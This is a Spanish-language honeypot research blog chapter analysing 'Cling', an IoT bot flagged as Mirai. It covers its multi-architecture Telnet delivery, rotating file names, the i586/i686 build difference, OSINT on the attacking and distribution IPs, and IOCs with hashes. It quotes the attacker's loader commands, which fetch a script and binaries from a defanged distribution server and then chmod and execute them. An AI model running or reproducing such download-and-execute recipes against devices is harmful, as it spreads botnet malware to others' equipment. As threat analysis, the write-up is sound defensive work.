ES EN
Índice

Cling · Capítulo 18

Nada que fichar

Una IP que ya estaba infectada se conectó por telnet al cebo y pegó de golpe una receta: once binarios, uno por arquitectura, cada uno con un nombre inventado que no se repetirá nunca. Dos pesaban exactamente lo mismo y parecían variantes — resultaron ser las builds i586 e i686 del mismo programa. Y detrás no venía un bicho suelto: medio centenar de binarios distintos en dos semanas. La entrega entera está montada para que ninguna lista de bloqueo, ni por nombre ni por firma, atrape nada.

Cuando cae uno nuevo, los primeros indicios apuntan a lo de siempre: cojo su hash, lo busco en VirusTotal, y media docena de motores lo cantan «Mirai». Y no es un estreno: esta familia —la bauticé Cling, y en el destripe se verá por qué (el bicho, literalmente, firma su obra)— campa por VirusTotal desde hace semanas. El reflejo es archivarlo: otro bot de tumbar servidores. Pero antes de archivar, miré cómo había entrado. Y ahí ya empezó a no cuadrar.

01La captura

No entró probando contraseñas. Entró un aparato que ya estaba infectado: una IP, 85.11.167.132, se conectó por Telnet al cebo, y en lugar de explorar, pegó de golpe una ristra de comandos — la receta que ese nodo del reparto suelta contra el siguiente. Nuestro cebo fue, esta vez, «el siguiente».

Los comandos, tal cual llegaron (agrupados, porque venían a chorro):

lo que pegó en el telnet
# 1) intenta un guion cargador, con wget y con busybox wget por si falta uno
cd /tmp; rm -rf wget.sh
wget hxxp://118.145.196[.]225:800/wget.sh
busybox wget hxxp://118.145.196[.]225:800/wget.sh
sh wget.sh telnet

# 2) y a lo bruto: un binario por arquitectura, cada uno con NOMBRE DISTINTO
cd; rm -rf 5x2b96g7; wget …:800/yy7atflk/5x2b96g7; chmod 777 5x2b96g7; ./5x2b96g7 telnet
cd; rm -rf obn2b6lh; wget …:800/yy7atflk/obn2b6lh; chmod 777 obn2b6lh; ./obn2b6lh telnet
# … y así con: v6kyo484 · kml6vqk1 · sevpqwpf · gr84is20 · 1t960jbq
#              c2uytx93 · 6bpx8p17 · yee32jdx · 2sdqu9iu   (once en total)

Es la misma estrategia de escopeta que ya vimos en Mirai y en KHserver: dispara los once y que arranque el que case con la CPU de la víctima; los otros diez fallan en silencio. Prueba wget y busybox wget —cinturón y tirantes, porque en un router a lo mejor solo hay uno—, y a cada binario lo lanza con un argumento: telnet.

Ese telnet del final no es el protocoloes la etiqueta del vector: quien infecta le pasa al bicho, como argumento, por dónde lo metió, y el bot lo reportará a su central. Aquí fue telnet. Pero cuidado con una pista falsa que aclaro en el siguiente: telnet no es una puerta que este bicho sepa abrir. La etiqueta cuenta cómo llegó, no lo que sabe hacer.
«Entró por telnet» no es «hace fuerza bruta»Que golpee nuestro telnet no significa que el bicho sepa adivinar contraseñas — cuando lo abra, veremos que no lleva ni una credencial, ni un escáner de Telnet. Quien fuerza el telnet y suelta la receta es otra pieza: un cargador de telnet aparte, parte de la maquinaria de reparto, que va por delante empujando el bicho al siguiente aparato. La IP que nos atacó es un nodo de ese reparto, no la guarida de nadie. (Cling se propaga por su cuenta, pero por otras puertas — las veremos en el destripe.)

02Once nombres, y ninguno se repite

Fíjate en los nombres de los binarios: 5x2b96g7, obn2b6lh, yee32jdx… ocho caracteres al azar, uno por arquitectura. No son descriptivos —no dicen arm ni mips—, y cambian en cada entrega: cuando el mismo servidor sirvió esta receta unas horas después, los nombres eran otros distintos.

Todos cuelgan de un único sitio, el servidor de reparto:

el reparto
hxxp://118.145.196[.]225:800/wget.sh              # el guion cargador
hxxp://118.145.196[.]225:800/yy7atflk/<nombre>    # un binario por arquitectura

Y aquí está el primer detalle de diseño: bloquear por nombre de fichero no sirve de nada. Es la misma idea del galimatías aleatorio del capítulo 1 y de los nombres que rotaban en el 3, pero llevada al servidor: cada víctima recibe nombres nuevos, así que dos aparatos infectados nunca comparten el mismo rastro en disco, y ninguna regla que busque «un fichero llamado X» acierta.

Vale, pensé — el nombre da igual, para eso está el hash, que sí es estable. Bajé los tres binarios que mi cebo llegó a guardar y me dispuse a fichar sus hashes.

03Dos ficheros, el mismo programa

De los tres que capturé, dos pesan exactamente lo mismo —53 956 bytes, los dos que file llama «Intel 80386»— y sin embargo tienen hash distinto. Dos ficheros del mismo tamaño y firma diferente huelen a dos versiones, o a una recompilación para estrenar hash. Fui a ver qué había cambiado, byte a byte.

diff de los dos i386 · byte a byte
tamaño               53.956 B  =  53.956 B    # idéntico
bytes que difieren   11.282                   # el 21% del fichero — y casi todo, código

Once mil bytes. Parece una variante nueva. Pero un compilador es determinista: el mismo fuente con las mismas opciones da los mismos bytes, siempre. Si cambian once mil, cambió algo — y al mirar qué, la respuesta no era «lo recompilaron por recompilar».

la diferencia que lo explica
6bpx8p17:  cmovbe ecx, eax          # una instrucción CMOV
c2uytx93:  cmp eax, 0x1d  +  jbe    # lo mismo, hecho SIN CMOV

Esa instrucción, cmov, solo existe a partir del i686 (Pentium Pro, 1995); el i586 no la tiene, y el compilador la sustituye por un comparar-y-saltar. Así que no son dos recompilaciones del mismo objetivo: son las builds i586 e i686 del mismo programa. Los once mil bytes cambian no porque alguien tocara el código, sino porque están compiladas para dos generaciones de CPU distintas.

Y eso resuelve un cabo suelto de la captura: por qué de «un binario por arquitectura» me quedaron dos «i386». No son dos copias del mismo: son el x86 de 32 bits para i586 y para i686, dos de los once que reparte el cargador. file los llama «80386» a los dos; el juego de instrucciones los delata. Este par, entonces, no prueba ninguna rotación de hash — es un espejismo, y una lección de no leer de más un diff.

Entonces, ¿de dónde sale lo de «no hay hash que valga»?De la escala, no de este par. La oleada —la siguiente sección— reparte decenas de binarios distintos, con hashes distintos, y con nombres que rotan en cada entrega. Ahí es donde el bloqueo por firma se queda sin nada a lo que agarrarse. Por eso los hashes que fiche al final de este capítulo valen poco: lo que caza a este bicho no es su firma, es su comportamiento.

04Una oleada, no un bicho suelto

Un apunte antes de abrirlo, porque cambia la escala de lo que estamos mirando: esto no es un binario perdido que pasaba por aquí. Cuando busqué la familia en VirusTotal, no había una muestra ni dos — había más de medio centenar, fechadas entre el 21 de agosto y primeros de septiembre, compiladas para media docena de arquitecturas (armv4l, v5, v6, v7, i586, i686, aarch64…).

Una oleada grande y todavía rodando. Y aquí está la rotación de firma de verdad —no en los dos de antes, sino en la escala—: medio centenar de binarios con hashes distintos en dos semanas. El hash es del contenido, así que no es el mismo renombrado: son builds nuevas, servidas con nombres que cambian cada pocas horas. Ninguna lista de firmas le sigue el ritmo a eso. Nuestro cebo no cazó «un bicho»: cazó un fotograma de una campaña que llevaba dos semanas en marcha. Y todas esas muestras, las cincuenta y pico, comparten algo que será la clave del tercer capítulo — pero para eso primero hay que abrir una.

05El espécimen

Los tres binarios que el cebo llegó a guardar (de los once que se dispararon, solo esos tres cuajaron una descarga distinta). ELF estáticos y stripped.

ESPÉCIMEN 006 · ELF ×3

Cling · bot IoT VirusTotal lo canta Mirai — pero ya veremos

◈ VIVO · NO EJECUTAR
Tipo
ELF estático · stripped · aarch64 · i686 · i586
Tamaño
53.956 B (i386) · 62.384 B (aarch64)
Entrega
escopeta multiarquitectura por Telnet · nombres rotativos
Función
no es lo que parece — se destripa en el Cap. 19
Etiqueta de vector
telnet (argumento con que se lanza)
SHA-256
1631e63e… (aarch64) · 1b831a93… (i686) · 52bff4bf… (i586)

06¿De dónde sale todo esto?

OSINT pasivo — bases de datos de terceros, sin tocar ninguna de las dos máquinas. Hay dos IPs en esta captura, y hacen cosas distintas:

IPPapelQuién es (OSINT)
85.11.167.132el que atacó (nodo infectado)solo 22/tcp abierto · fichada como maliciosa · AS197170 TechTies (NL), con mantenedor SOFCOMPANY (BG) — rango registrado en junio de 2026, once semanas antes del ataque
118.145.196.225:800servidor de repartoBeijing Volcano Engine (ByteDance, CN) · 10 motores la dan por maliciosa
Un detalle que se entiende en el próximo capítuloEl servidor de reparto 118.145.196.225 no está escrito dentro del binario. No lo lleva puesto: se lo dice su central en caliente. Por eso el wget.sh y la caja que reparte son intercambiables sin recompilar — y por eso, cuando abra el bicho, no encontraré ahí ninguna dirección de reparto. Es una pieza más del mismo diseño: nada fijo, nada que fichar.

07Indicadores (IOCs)

De la infección. Los del bicho por dentro van en el próximo.

TipoValor
IP atacante (nodo infectado)85.11.167.132
Servidor de repartohxxp://118.145.196[.]225:800/ (wget.sh · /yy7atflk/<nombre>)
Patrón del loaderescopeta multiarquitectura por Telnet · nombres de 8 chars aleatorios que rotan · arg telnet
Familia en VirusTotal>50 muestras trojan.mirai con la cadena .cling · 2026-08-21 → 09-01 · armv4l/5l/6l/7l · i586 · i686 · aarch64
SHA-256 (caducan: recompila)1631e63ee373601c1f42f2674f996fc6c14dc6aebe45ca5d2395bf347a0e3661 (aarch64)
1b831a9366cd53a4127f885dab247bc2f0b3f661a7d9d9510bbd0a9f150bfb27 (i686)
52bff4bf58eb6031c16763b12b696e849a38f36e69c55402a444819cb9c1bc0e (i586)

Continuará — y aquí viene lo bueno. Bajé los tres binarios, los abrí esperando el arsenal de DDoS de siempre… y no había ni una sola función de ataque. Lo que había era otra cosa que no había visto entrar por aquí. En el Capítulo 19 lo destripo. 🍯

Comentarios